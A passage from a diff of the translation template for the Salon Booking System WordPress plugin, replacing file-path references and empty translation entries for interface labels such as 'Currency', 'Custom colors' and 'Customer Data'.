System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1684\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:876\n+msgid \"Created timestamp of the photo.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:304, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:304, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:304, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:304, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:304\n-msgid \"Total Bookings:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fsettings.php:17\n+msgid \"CREDIT CARD\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:364, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:364, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:364, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:364, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:364\n-msgid \"This customer has no no-show history.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:217\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:217\n+msgid \"Cron Error\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:325, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:325, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:325\n-msgid \"No-Show Booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:160\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:160\n+msgid \"CSS on front-end\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:333, src\u002FSLN\u002FPostType\u002FBooking.php:637, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:333, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:637, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:333, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:333, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:333, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:637, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:622, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:622, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:637\n-msgid \"View Booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:53\n+msgid \"Currency\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:351, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:351, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:351, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:351, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:351\n-msgid \"Marked on:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:803\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:803\n+msgid \"Current booking - administration note\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:794\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:794\n+msgid \"Current booking - customer message\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:11\n+msgid \"Current Score\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:354, views\u002Fmetabox\u002Fbooking.php:574, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:354, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:574, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:354, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:574, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:459, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:354, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:568, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:354, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:574\n-msgid \"by\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:94\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:94\n+msgid \"Current user is not allowed to copy posts.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:373, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:373, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:373\n-msgid \"Booking history\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:532\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:532\n+msgid \"Custom\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_tools_import_matching.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:11\n-msgid \"Select a column\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:51\n+msgid \"Custom colors\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_tools_import_matching.php:39, views\u002Fadmin\u002F_tools_import_matching.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39\n-msgid \"Preview\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:63\n+msgid \"Custom colors are disabled\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the version number rollback\n-#: views\u002Fadmin\u002F_tools_rollback.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_tools_rollback.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_tools_rollback.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_tools_rollback.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_tools_rollback.php:13\n-msgid \"Rollback to %s version\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:62\n+msgid \"Custom colors are enabled\"\n msgstr \"\"\n \n-#. translators: %1$s will be replaced by the current version, %2$s will be replaced by the version to rollback\n-#: views\u002Fadmin\u002F_tools_rollback.php:18, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_tools_rollback.php:18, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_tools_rollback.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_tools_rollback.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_tools_rollback.php:18\n-msgid \"If after the install of the %1$s version of Salon Booking you realize that something goes wrong you can use this tool to restore the %2$s version. The rollack process consist into three steps:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:414\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:473\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:414\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:473\n+msgid \"Custom message (max 500 characters)\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the version to rollback\n-#: views\u002Fadmin\u002F_tools_rollback.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_tools_rollback.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_tools_rollback.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_tools_rollback.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_tools_rollback.php:25\n-msgid \"1. Rollback your database to the %s version \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:56\n+msgid \"Custom Range\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the version to rollback\n-#: views\u002Fadmin\u002F_tools_rollback.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_tools_rollback.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_tools_rollback.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_tools_rollback.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_tools_rollback.php:31\n-msgid \"2. Download Salon Booking %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:523\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:523\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:24\n+msgid \"Customer\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the version to rollback\n-#: views\u002Fadmin\u002F_tools_rollback.php:36, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_tools_rollback.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_tools_rollback.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_tools_rollback.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_tools_rollback.php:36\n-msgid \"3. Upload Salon Booking %s folder on your server \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:143\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:143\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:19\n+msgid \"CUSTOMER ADDRESS\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_tools_rollback.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_tools_rollback.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_tools_rollback.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_tools_rollback.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_tools_rollback.php:41\n-msgid \"Rollback database\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPrivacy.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPrivacy.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPrivacy\u002FExporters.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy\u002FExporters.php:13\n+msgid \"Customer Data\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_tools_rollback.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_tools_rollback.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_tools_rollback.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_tools_rollback.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_tools_rollback.php:45\n-msgid \"Download\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_customer_info.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 